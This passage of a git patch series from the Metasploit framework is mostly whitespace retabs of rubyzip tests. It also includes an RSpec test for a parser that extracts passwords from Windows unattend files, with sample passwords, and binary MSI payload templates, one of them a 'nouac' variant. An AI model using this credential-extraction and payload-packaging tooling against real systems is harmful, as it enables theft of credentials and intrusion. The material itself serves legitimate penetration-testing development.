#{TEST_ZIP4.zipName} #{TEST_ZIP4.entryNames.join(' ')}") + system("zip #{TEST_ZIP4.zipName} #{TEST_ZIP4.entryNames.join(' ')}") end rescue raise $!.to_s + @@ -2056,10 +2056,10 @@ class TestZipFile TEST_ZIP1 = TestZipFile.new("empty.zip", []) TEST_ZIP2 = TestZipFile.new("4entry.zip", %w{ longAscii.txt empty.txt short.txt longBinary.bin}, - "my zip comment") + "my zip comment") TEST_ZIP3 = TestZipFile.new("test1.zip", %w{ file1.txt }) TEST_ZIP4 = TestZipFile.new("zipWithDir.zip", [ "file1.txt", - TestFiles::EMPTY_TEST_DIR]) + TestFiles::EMPTY_TEST_DIR]) end @@ -2287,9 +2287,9 @@ class ZipOutputStreamTest < RUNIT::TestCase zos = ZipOutputStream.open(name) rescue Exception assert($!.kind_of?(Errno::EISDIR) || # Linux - $!.kind_of?(Errno::EEXIST) || # Windows/cygwin - $!.kind_of?(Errno::EACCES), # Windows - "Expected Errno::EISDIR (or on win/cygwin: Errno::EEXIST), but was: #{$!.type}") + $!.kind_of?(Errno::EEXIST) || # Windows/cygwin + $!.kind_of?(Errno::EACCES), # Windows + "Expected Errno::EISDIR (or on win/cygwin: Errno::EEXIST), but was: #{$!.type}") end end @@ -2406,9 +2406,9 @@ class ZipCentralDirectoryTest < RUNIT::TestCase assert_equals(TestZipFile::TEST_ZIP2.entryNames.size, cdir.size) assert(cdir.compareEnumerables(TestZipFile::TEST_ZIP2.entryNames) { - |cdirEntry, testEntryName| - cdirEntry.name == testEntryName - }) + |cdirEntry, testEntryName| + cdirEntry.name == testEntryName + }) assert_equals(TestZipFile::TEST_ZIP2.comment, cdir.comment) } end @@ -2448,24 +2448,24 @@ class ZipCentralDirectoryTest < RUNIT::TestCase def test_equality cdir1 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, - "somethingExtra"), - ZipEntry.new("file.zip", "secondEntryName"), - ZipEntry.new("file.zip", "lastEntry.txt") ], - "my zip comment") + "somethingExtra"), + ZipEntry.new("file.zip", "secondEntryName"), + ZipEntry.new("file.zip", "lastEntry.txt") ], + "my zip comment") cdir2 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, - "somethingExtra"), - ZipEntry.new("file.zip", "secondEntryName"), - ZipEntry.new("file.zip", "lastEntry.txt") ], - "my zip comment") + "somethingExtra"), + ZipEntry.new("file.zip", "secondEntryName"), + ZipEntry.new("file.zip", "lastEntry.txt") ], + "my zip comment") cdir3 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, - "somethingExtra"), - ZipEntry.new("file.zip", "secondEntryName"), - ZipEntry.new("file.zip", "lastEntry.txt") ], - "comment?") + "somethingExtra"), + ZipEntry.new("file.zip", "secondEntryName"), + ZipEntry.new("file.zip", "lastEntry.txt") ], + "comment?") cdir4 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, - "somethingExtra"), - ZipEntry.new("file.zip", "lastEntry.txt") ], - "comment?") + "somethingExtra"), + ZipEntry.new("file.zip", "lastEntry.txt") ], + "comment?") assert_equals(cdir1, cdir1) assert_equals(cdir1, cdir2) @@ -2517,7 +2517,7 @@ class BasicZipFileTest < RUNIT::TestCase @zipFile.each { |entry| assertEntry(nextTestEntryName, @zipFile.getInputStream(entry), - entry.name) + entry.name) } assert_equals(4, @testEntryNameIndex) end @@ -2527,8 +2527,8 @@ class BasicZipFileTest < RUNIT::TestCase @zipFile.getInputStream(fileAndEntryName) { |zis| assertEntryContentsForStream(fileAndEntryName, - zis, - fileAndEntryName) + zis, + fileAndEntryName) } end end @@ -2574,14 +2574,14 @@ class ZipFileTest < CommonZipFileFixture assert_equals(1, zfRead.entries.length) assert_equals(entryName, zfRead.entries.first.name) AssertEntry.assertContents(srcFile, - zfRead.getInputStream(entryName) { |zis| zis.read }) + zfRead.getInputStream(entryName) { |zis| zis.read }) end def test_addExistingEntryName assert_exception(ZipEntryExistsError) { ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.add(zf.entries.first.name, "ziptest.rb") + |zf| + zf.add(zf.entries.first.name, "ziptest.rb") } } end @@ -2657,8 +2657,8 @@ class ZipFileTest < CommonZipFileFixture assert_exception(ZipEntryExistsError) { ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.rename(zf.entries[0], zf.entries[1].name) + |zf| + zf.rename(zf.entries[0], zf.entries[1].name) } } @@ -2683,7 +2683,7 @@ class ZipFileTest < CommonZipFileFixture ZipFile.open(TEST_ZIP.zipName) { |zf| assert_equals(oldEntries.map{ |e| e.name }, - zf.entries.map{ |e| e.name }) + zf.entries.map{ |e| e.name }) } end @@ -2723,7 +2723,7 @@ class ZipFileTest < CommonZipFileFixture zfRead = ZipFile.new(TEST_ZIP.zipName) AssertEntry::assertContents(newEntrySrcFilename, - zfRead.getInputStream(entryToReplace) { |is| is.read }) + zfRead.getInputStream(entryToReplace) { |is| is.read }) zfRead.close end @@ -2732,7 +2732,7 @@ class ZipFileTest < CommonZipFileFixture ZipFile.open(TEST_ZIP.zipName) { |zf| assert_exception(ZipNoSuchEntryError) { - zf.replace(entryToReplace, "ziptest.rb") + zf.replace(entryToReplace, "ziptest.rb") } } end @@ -2782,16 +2782,16 @@ class ZipFileTest < CommonZipFileFixture assertNotContains(zf, TestFiles::RANDOM_ASCII_FILE1) zf.add(TestFiles::RANDOM_ASCII_FILE1, - TestFiles::RANDOM_ASCII_FILE1) + TestFiles::RANDOM_ASCII_FILE1) assertContains(zf, TestFiles::RANDOM_ASCII_FILE1) zf.rename(zf.entries[0], renamedName) assertContains(zf, renamedName) TestFiles::BINARY_TEST_FILES.each { - |filename| - zf.add(filename, filename) - assertContains(zf, filename) + |filename| + zf.add(filename, filename) + assertContains(zf, filename) } assertContains(zf, originalEntries.last.to_s) @@ -2806,8 +2806,8 @@ class ZipFileTest < CommonZipFileFixture assertContains(zfRead, TestFiles::RANDOM_ASCII_FILE1) assertContains(zfRead, renamedName) TestFiles::BINARY_TEST_FILES.each { - |filename| - assertContains(zfRead, filename) + |filename| + assertContains(zfRead, filename) } assertNotContains(zfRead, originalEntries.last.to_s) ensure @@ -2821,16 +2821,16 @@ class ZipFileTest < CommonZipFileFixture originalEntries = zf.entries.dup originalEntries.each { - |entry| - zf.remove(entry) - assertNotContains(zf, entry) + |entry| + zf.remove(entry) + assertNotContains(zf, entry) } assert(zf.entries.empty?) TestFiles::ASCII_TEST_FILES.each { - |filename| - zf.add(filename, filename) - assertContains(zf, filename) + |filename| + zf.add(filename, filename) + assertContains(zf, filename) } assert_equals(zf.entries.map { |e| e.name }, TestFiles::ASCII_TEST_FILES) @@ -2845,8 +2845,8 @@ class ZipFileTest < CommonZipFileFixture asciiTestFiles = TestFiles::ASCII_TEST_FILES.dup asciiTestFiles.shift asciiTestFiles.each { - |filename| - assertContains(zf, filename) + |filename| + assertContains(zf, filename) } assertContains(zf, "newName") @@ -2882,7 +2882,7 @@ class ZipFileExtractTest < CommonZipFileFixture assert(File.exists? EXTRACTED_FILENAME) AssertEntry::assertContents(EXTRACTED_FILENAME, - zf.getInputStream(ENTRY_TO_EXTRACT) { |is| is.read }) + zf.getInputStream(ENTRY_TO_EXTRACT) { |is| is.read }) } end @@ -2892,8 +2892,8 @@ class ZipFileExtractTest < CommonZipFileFixture assert_exception(ZipDestinationFileExistsError) { ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.extract(zf.entries.first, EXTRACTED_FILENAME) + |zf| + zf.extract(zf.entries.first, EXTRACTED_FILENAME) } } File.open(EXTRACTED_FILENAME, "r") { @@ -2995,9 +2995,9 @@ end TestFiles::createTestFiles(ARGV.index("recreate") != nil || - ARGV.index("recreateonly") != nil) + ARGV.index("recreateonly") != nil) TestZipFile::createTestZips(ARGV.index("recreate") != nil || - ARGV.index("recreateonly") != nil) + ARGV.index("recreateonly") != nil) exit if ARGV.index("recreateonly") != nil #require 'runit/cui/testrunner' @@ -3098,13 +3098,13 @@ class ZipEntryTest < RUNIT::TestCase def test_constructorAndGetters entry = ZipEntry.new(TEST_ZIPFILE, - TEST_NAME, - TEST_COMMENT, - TEST_EXTRA, - TEST_COMPRESSED_SIZE, - TEST_CRC, - TEST_COMPRESSIONMETHOD, - TEST_SIZE) + TEST_NAME, + TEST_COMMENT, + TEST_EXTRA, + TEST_COMPRESSED_SIZE, + TEST_CRC, + TEST_COMPRESSIONMETHOD, + TEST_SIZE) assert_equals(TEST_COMMENT, entry.comment) assert_equals(TEST_COMPRESSED_SIZE, entry.compressedSize) @@ -3118,29 +3118,29 @@ class ZipEntryTest < RUNIT::TestCase def test_equality entry1 = ZipEntry.new("file.zip", "name", "isNotCompared", - "something extra", 123, 1234, - ZipEntry::DEFLATED, 10000) + "something extra", 123, 1234, + ZipEntry::DEFLATED, 10000) entry2 = ZipEntry.new("file.zip", "name", "isNotComparedXXX", - "something extra", 123, 1234, - ZipEntry::DEFLATED, 10000) + "something extra", 123, 1234, + ZipEntry::DEFLATED, 10000) entry3 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extra", 123, 1234, - ZipEntry::DEFLATED, 10000) + "something extra", 123, 1234, + ZipEntry::DEFLATED, 10000) entry4 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 123, 1234, - ZipEntry::DEFLATED, 10000) + "something extraXX", 123, 1234, + ZipEntry::DEFLATED, 10000) entry5 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 12, 1234, - ZipEntry::DEFLATED, 10000) + "something extraXX", 12, 1234, + ZipEntry::DEFLATED, 10000) entry6 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 12, 123, - ZipEntry::DEFLATED, 10000) + "something extraXX", 12, 123, + ZipEntry::DEFLATED, 10000) entry7 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 12, 123, - ZipEntry::STORED, 10000) + "something extraXX", 12, 123, + ZipEntry::STORED, 10000) entry8 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 12, 123, - ZipEntry::STORED, 100000) + "something extraXX", 12, 123, + ZipEntry::STORED, 100000) assert_equals(entry1, entry1) assert_equals(entry1, entry2) @@ -3231,8 +3231,8 @@ class ZipLocalEntryTest < RUNIT::TestCase def test_writeEntry entry = ZipEntry.new("file.zip", "entryName", "my little comment", - "thisIsSomeExtraInformation", 100, 987654, - ZipEntry::DEFLATED, 400) + "thisIsSomeExtraInformation", 100, 987654, + ZipEntry::DEFLATED, 400) writeToFile("localEntryHeader.bin", "centralEntryHeader.bin", entry) entryReadLocal, entryReadCentral = readFromFile("localEntryHeader.bin", "centralEntryHeader.bin") compareLocalEntryHeaders(entry, entryReadLocal) @@ -3334,13 +3334,13 @@ module AssertEntry expected = file.read actual = zis.read if (expected != actual) - if (expected.length > 400 || actual.length > 400) - zipEntryFilename=entryName+".zipEntry" - File.open(zipEntryFilename, "wb") { |file| file << actual } - fail("File '#{filename}' is different from '#{zipEntryFilename}'") - else - assert_equals(expected, actual) - end + if (expected.length > 400 || actual.length > 400) + zipEntryFilename=entryName+".zipEntry" + File.open(zipEntryFilename, "wb") { |file| file << actual } + fail("File '#{filename}' is different from '#{zipEntryFilename}'") + else + assert_equals(expected, actual) + end end } end @@ -3350,11 +3350,11 @@ module AssertEntry File.open(filename, "rb") { |f| fileContents = f.read } if (fileContents != aString) if (expected.length > 400 || actual.length > 400) - stringFile = filename + ".other" - File.open(stringFile, "wb") { |f| f << aString } - fail("File '#{filename}' is different from contents of string stored in '#{stringFile}'") + stringFile = filename + ".other" + File.open(stringFile, "wb") { |f| f << aString } + fail("File '#{filename}' is different from contents of string stored in '#{stringFile}'") else - assert_equals(expected, actual) + assert_equals(expected, actual) end end end @@ -3443,16 +3443,16 @@ class TestFiles def TestFiles.createTestFiles(recreate) if (recreate || - ! (TEST_FILES.inject(true) { |accum, element| accum && File.exists?(element) })) + ! (TEST_FILES.inject(true) { |accum, element| accum && File.exists?(element) })) ASCII_TEST_FILES.each_with_index { - |filename, index| - createRandomAscii(filename, 1E4 * (index+1)) + |filename, index| + createRandomAscii(filename, 1E4 * (index+1)) } BINARY_TEST_FILES.each_with_index { - |filename, index| - createRandomBinary(filename, 1E4 * (index+1)) + |filename, index| + createRandomBinary(filename, 1E4 * (index+1)) } ensureDir(EMPTY_TEST_DIR) @@ -3464,7 +3464,7 @@ class TestFiles File.open(filename, "wb") { |file| while (file.tell < size) - file << rand + file << rand end } end @@ -3473,7 +3473,7 @@ class TestFiles File.open(filename, "wb") { |file| while (file.tell < size) - file << rand.to_a.pack("V") + file << rand.to_a.pack("V") end } end @@ -3502,18 +3502,18 @@ class TestZipFile def TestZipFile.createTestZips(recreate) files = Dir.entries(".") if (recreate || - ! (files.index(TEST_ZIP1.zipName) && - files.index(TEST_ZIP2.zipName) && - files.index(TEST_ZIP3.zipName) && - files.index(TEST_ZIP4.zipName) && - files.index("empty.txt") && - files.index("short.txt") && - files.index("longAscii.txt") && - files.index("longBinary.bin") )) + ! (files.index(TEST_ZIP1.zipName) && + files.index(TEST_ZIP2.zipName) && + files.index(TEST_ZIP3.zipName) && + files.index(TEST_ZIP4.zipName) && + files.index("empty.txt") && + files.index("short.txt") && + files.index("longAscii.txt") && + files.index("longBinary.bin") )) raise "failed to create test zip '#{TEST_ZIP1.zipName}'" unless - system("zip #{TEST_ZIP1.zipName} ziptest.rb") + system("zip #{TEST_ZIP1.zipName} ziptest.rb") raise "failed to remove entry from '#{TEST_ZIP1.zipName}'" unless - system("zip #{TEST_ZIP1.zipName} -d ziptest.rb") + system("zip #{TEST_ZIP1.zipName} -d ziptest.rb") File.open("empty.txt", "w") {} @@ -3521,10 +3521,10 @@ class TestZipFile ziptestTxt="" File.open("ziptest.rb") { |file| ziptestTxt=file.read } File.open("longAscii.txt", "w") { - |file| - while (file.tell < 1E5) - file << ziptestTxt - end + |file| + while (file.tell < 1E5) + file << ziptestTxt + end } testBinaryPattern="" @@ -3532,24 +3532,24 @@ class TestZipFile testBinaryPattern *= 4 File.open("longBinary.bin", "wb") { - |file| - while (file.tell < 3E5) - file << testBinaryPattern << rand - end + |file| + while (file.tell < 3E5) + file << testBinaryPattern << rand + end } raise "failed to create test zip '#{TEST_ZIP2.zipName}'" unless - system("zip #{TEST_ZIP2.zipName} #{TEST_ZIP2.entryNames.join(' ')}") + system("zip #{TEST_ZIP2.zipName} #{TEST_ZIP2.entryNames.join(' ')}") # without bash system interprets everything after echo as parameters to # echo including | zip -z ... raise "failed to add comment to test zip '#{TEST_ZIP2.zipName}'" unless - system("bash -c \"echo #{TEST_ZIP2.comment} | zip -z #{TEST_ZIP2.zipName}\"") + system("bash -c \"echo #{TEST_ZIP2.comment} | zip -z #{TEST_ZIP2.zipName}\"") raise "failed to create test zip '#{TEST_ZIP3.zipName}'" unless - system("zip #{TEST_ZIP3.zipName} #{TEST_ZIP3.entryNames.join(' ')}") + system("zip #{TEST_ZIP3.zipName} #{TEST_ZIP3.entryNames.join(' ')}") raise "failed to create test zip '#{TEST_ZIP4.zipName}'" unless - system("zip #{TEST_ZIP4.zipName} #{TEST_ZIP4.entryNames.join(' ')}") + system("zip #{TEST_ZIP4.zipName} #{TEST_ZIP4.entryNames.join(' ')}") end rescue raise $!.to_s + @@ -3560,10 +3560,10 @@ class TestZipFile TEST_ZIP1 = TestZipFile.new("empty.zip", []) TEST_ZIP2 = TestZipFile.new("4entry.zip", %w{ longAscii.txt empty.txt short.txt longBinary.bin}, - "my zip comment") + "my zip comment") TEST_ZIP3 = TestZipFile.new("test1.zip", %w{ file1.txt }) TEST_ZIP4 = TestZipFile.new("zipWithDir.zip", [ "file1.txt", - TestFiles::EMPTY_TEST_DIR]) + TestFiles::EMPTY_TEST_DIR]) end @@ -3791,9 +3791,9 @@ class ZipOutputStreamTest < RUNIT::TestCase zos = ZipOutputStream.open(name) rescue Exception assert($!.kind_of?(Errno::EISDIR) || # Linux - $!.kind_of?(Errno::EEXIST) || # Windows/cygwin - $!.kind_of?(Errno::EACCES), # Windows - "Expected Errno::EISDIR (or on win/cygwin: Errno::EEXIST), but was: #{$!.type}") + $!.kind_of?(Errno::EEXIST) || # Windows/cygwin + $!.kind_of?(Errno::EACCES), # Windows + "Expected Errno::EISDIR (or on win/cygwin: Errno::EEXIST), but was: #{$!.type}") end end @@ -3910,9 +3910,9 @@ class ZipCentralDirectoryTest < RUNIT::TestCase assert_equals(TestZipFile::TEST_ZIP2.entryNames.size, cdir.size) assert(cdir.compareEnumerables(TestZipFile::TEST_ZIP2.entryNames) { - |cdirEntry, testEntryName| - cdirEntry.name == testEntryName - }) + |cdirEntry, testEntryName| + cdirEntry.name == testEntryName + }) assert_equals(TestZipFile::TEST_ZIP2.comment, cdir.comment) } end @@ -3952,24 +3952,24 @@ class ZipCentralDirectoryTest < RUNIT::TestCase def test_equality cdir1 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, - "somethingExtra"), - ZipEntry.new("file.zip", "secondEntryName"), - ZipEntry.new("file.zip", "lastEntry.txt") ], - "my zip comment") + "somethingExtra"), + ZipEntry.new("file.zip", "secondEntryName"), + ZipEntry.new("file.zip", "lastEntry.txt") ], + "my zip comment") cdir2 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, - "somethingExtra"), - ZipEntry.new("file.zip", "secondEntryName"), - ZipEntry.new("file.zip", "lastEntry.txt") ], - "my zip comment") + "somethingExtra"), + ZipEntry.new("file.zip", "secondEntryName"), + ZipEntry.new("file.zip", "lastEntry.txt") ], + "my zip comment") cdir3 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, - "somethingExtra"), - ZipEntry.new("file.zip", "secondEntryName"), - ZipEntry.new("file.zip", "lastEntry.txt") ], - "comment?") + "somethingExtra"), + ZipEntry.new("file.zip", "secondEntryName"), + ZipEntry.new("file.zip", "lastEntry.txt") ], + "comment?") cdir4 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, - "somethingExtra"), - ZipEntry.new("file.zip", "lastEntry.txt") ], - "comment?") + "somethingExtra"), + ZipEntry.new("file.zip", "lastEntry.txt") ], + "comment?") assert_equals(cdir1, cdir1) assert_equals(cdir1, cdir2) @@ -4021,7 +4021,7 @@ class BasicZipFileTest < RUNIT::TestCase @zipFile.each { |entry| assertEntry(nextTestEntryName, @zipFile.getInputStream(entry), - entry.name) + entry.name) } assert_equals(4, @testEntryNameIndex) end @@ -4031,8 +4031,8 @@ class BasicZipFileTest < RUNIT::TestCase @zipFile.getInputStream(fileAndEntryName) { |zis| assertEntryContentsForStream(fileAndEntryName, - zis, - fileAndEntryName) + zis, + fileAndEntryName) } end end @@ -4078,14 +4078,14 @@ class ZipFileTest < CommonZipFileFixture assert_equals(1, zfRead.entries.length) assert_equals(entryName, zfRead.entries.first.name) AssertEntry.assertContents(srcFile, - zfRead.getInputStream(entryName) { |zis| zis.read }) + zfRead.getInputStream(entryName) { |zis| zis.read }) end def test_addExistingEntryName assert_exception(ZipEntryExistsError) { ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.add(zf.entries.first.name, "ziptest.rb") + |zf| + zf.add(zf.entries.first.name, "ziptest.rb") } } end @@ -4161,8 +4161,8 @@ class ZipFileTest < CommonZipFileFixture assert_exception(ZipEntryExistsError) { ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.rename(zf.entries[0], zf.entries[1].name) + |zf| + zf.rename(zf.entries[0], zf.entries[1].name) } } @@ -4187,7 +4187,7 @@ class ZipFileTest < CommonZipFileFixture ZipFile.open(TEST_ZIP.zipName) { |zf| assert_equals(oldEntries.map{ |e| e.name }, - zf.entries.map{ |e| e.name }) + zf.entries.map{ |e| e.name }) } end @@ -4227,7 +4227,7 @@ class ZipFileTest < CommonZipFileFixture zfRead = ZipFile.new(TEST_ZIP.zipName) AssertEntry::assertContents(newEntrySrcFilename, - zfRead.getInputStream(entryToReplace) { |is| is.read }) + zfRead.getInputStream(entryToReplace) { |is| is.read }) zfRead.close end @@ -4236,7 +4236,7 @@ class ZipFileTest < CommonZipFileFixture ZipFile.open(TEST_ZIP.zipName) { |zf| assert_exception(ZipNoSuchEntryError) { - zf.replace(entryToReplace, "ziptest.rb") + zf.replace(entryToReplace, "ziptest.rb") } } end @@ -4286,16 +4286,16 @@ class ZipFileTest < CommonZipFileFixture assertNotContains(zf, TestFiles::RANDOM_ASCII_FILE1) zf.add(TestFiles::RANDOM_ASCII_FILE1, - TestFiles::RANDOM_ASCII_FILE1) + TestFiles::RANDOM_ASCII_FILE1) assertContains(zf, TestFiles::RANDOM_ASCII_FILE1) zf.rename(zf.entries[0], renamedName) assertContains(zf, renamedName) TestFiles::BINARY_TEST_FILES.each { - |filename| - zf.add(filename, filename) - assertContains(zf, filename) + |filename| + zf.add(filename, filename) + assertContains(zf, filename) } assertContains(zf, originalEntries.last.to_s) @@ -4310,8 +4310,8 @@ class ZipFileTest < CommonZipFileFixture assertContains(zfRead, TestFiles::RANDOM_ASCII_FILE1) assertContains(zfRead, renamedName) TestFiles::BINARY_TEST_FILES.each { - |filename| - assertContains(zfRead, filename) + |filename| + assertContains(zfRead, filename) } assertNotContains(zfRead, originalEntries.last.to_s) ensure @@ -4325,16 +4325,16 @@ class ZipFileTest < CommonZipFileFixture originalEntries = zf.entries.dup originalEntries.each { - |entry| - zf.remove(entry) - assertNotContains(zf, entry) + |entry| + zf.remove(entry) + assertNotContains(zf, entry) } assert(zf.entries.empty?) TestFiles::ASCII_TEST_FILES.each { - |filename| - zf.add(filename, filename) - assertContains(zf, filename) + |filename| + zf.add(filename, filename) + assertContains(zf, filename) } assert_equals(zf.entries.map { |e| e.name }, TestFiles::ASCII_TEST_FILES) @@ -4349,8 +4349,8 @@ class ZipFileTest < CommonZipFileFixture asciiTestFiles = TestFiles::ASCII_TEST_FILES.dup asciiTestFiles.shift asciiTestFiles.each { - |filename| - assertContains(zf, filename) + |filename| + assertContains(zf, filename) } assertContains(zf, "newName") @@ -4386,7 +4386,7 @@ class ZipFileExtractTest < CommonZipFileFixture assert(File.exists? EXTRACTED_FILENAME) AssertEntry::assertContents(EXTRACTED_FILENAME, - zf.getInputStream(ENTRY_TO_EXTRACT) { |is| is.read }) + zf.getInputStream(ENTRY_TO_EXTRACT) { |is| is.read }) } end @@ -4396,8 +4396,8 @@ class ZipFileExtractTest < CommonZipFileFixture assert_exception(ZipDestinationFileExistsError) { ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.extract(zf.entries.first, EXTRACTED_FILENAME) + |zf| + zf.extract(zf.entries.first, EXTRACTED_FILENAME) } } File.open(EXTRACTED_FILENAME, "r") { @@ -4499,9 +4499,9 @@ end TestFiles::createTestFiles(ARGV.index("recreate") != nil || - ARGV.index("recreateonly") != nil) + ARGV.index("recreateonly") != nil) TestZipFile::createTestZips(ARGV.index("recreate") != nil || - ARGV.index("recreateonly") != nil) + ARGV.index("recreateonly") != nil) exit if ARGV.index("recreateonly") != nil #require 'runit/cui/testrunner' From 120cca8bb3316e3bbf18106577e732bd6a3f3a16 Mon Sep 17 00:00:00 2001 From: Tabassassin <tabassassin@metasploit.com> Date: Fri, 27 Sep 2013 13:44:33 -0500 Subject: [PATCH 064/210] Retab unattended_spec to avoid conflicts --- spec/lib/rex/parser/unattend_spec.rb | 52 ++++++++++++++-------------- 1 file changed, 26 insertions(+), 26 deletions(-) diff --git a/spec/lib/rex/parser/unattend_spec.rb b/spec/lib/rex/parser/unattend_spec.rb index d911ae9c1e..980c469ef5 100644 --- a/spec/lib/rex/parser/unattend_spec.rb +++ b/spec/lib/rex/parser/unattend_spec.rb @@ -15,36 +15,36 @@ comb = REXML::Document.new('<unattend xmlns="urn:schemas-microsoft-com:unattend" describe Rex::Parser::Unattend do - context "#parse" do - it "returns passwords for b64" do - results = described_class.parse(b64) - results.length.should eq(2) - results[0]['password'].should eq(Rex::Text.to_unicode('Temp123')) - end + context "#parse" do + it "returns passwords for b64" do + results = described_class.parse(b64) + results.length.should eq(2) + results[0]['password'].should eq(Rex::Text.to_unicode('Temp123')) + end - it "returns passwords for domain join" do - results = described_class.parse(dj) - results.length.should eq(1) - results[0]['password'].should eq('Password1') - end + it "returns passwords for domain join" do + results = described_class.parse(dj) + results.length.should eq(1) + results[0]['password'].should eq('Password1') + end - pos_xmls = [dj, b64, comb, std, lng] + pos_xmls = [dj, b64, comb, std, lng] - neg_xmls = [unsecure] + neg_xmls = [unsecure] - it "returns results for all positive examples" do - pos_xmls.each do |xml| - results = described_class.parse(xml) - results.should_not be_empty - end - end + it "returns results for all positive examples" do + pos_xmls.each do |xml| + results = described_class.parse(xml) + results.should_not be_empty + end + end - it "returns no results for negative examples" do - neg_xmls.each do |xml| - results = described_class.parse(xml) - results.should be_empty - end - end - end + it "returns no results for negative examples" do + neg_xmls.each do |xml| + results = described_class.parse(xml) + results.should be_empty + end + end + end end From e806047411939839d48bf055b7848374ec6e1f80 Mon Sep 17 00:00:00 2001 From: Meatballs <eat_meatballs@hotmail.co.uk> Date: Fri, 27 Sep 2013 20:03:19 +0100 Subject: [PATCH 065/210] Add MSI bins --- data/templates/template_nouac_windows.msi | Bin 0 -> 159744 bytes data/templates/template_windows.msi | Bin 0 -> 159744 bytes 2 files changed, 0 insertions(+), 0 deletions(-) create mode 100644 data/templates/template_nouac_windows.msi create mode 100644 data/templates/template_windows.msi diff --git a/data/templates/template_nouac_windows.msi b/data/templates/template_nouac_windows.msi new file mode 100644 index 0000000000000000000000000000000000000000..0370464b99922b72d1ea3826c84c1d71e770a30e GIT binary patch literal 159744 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 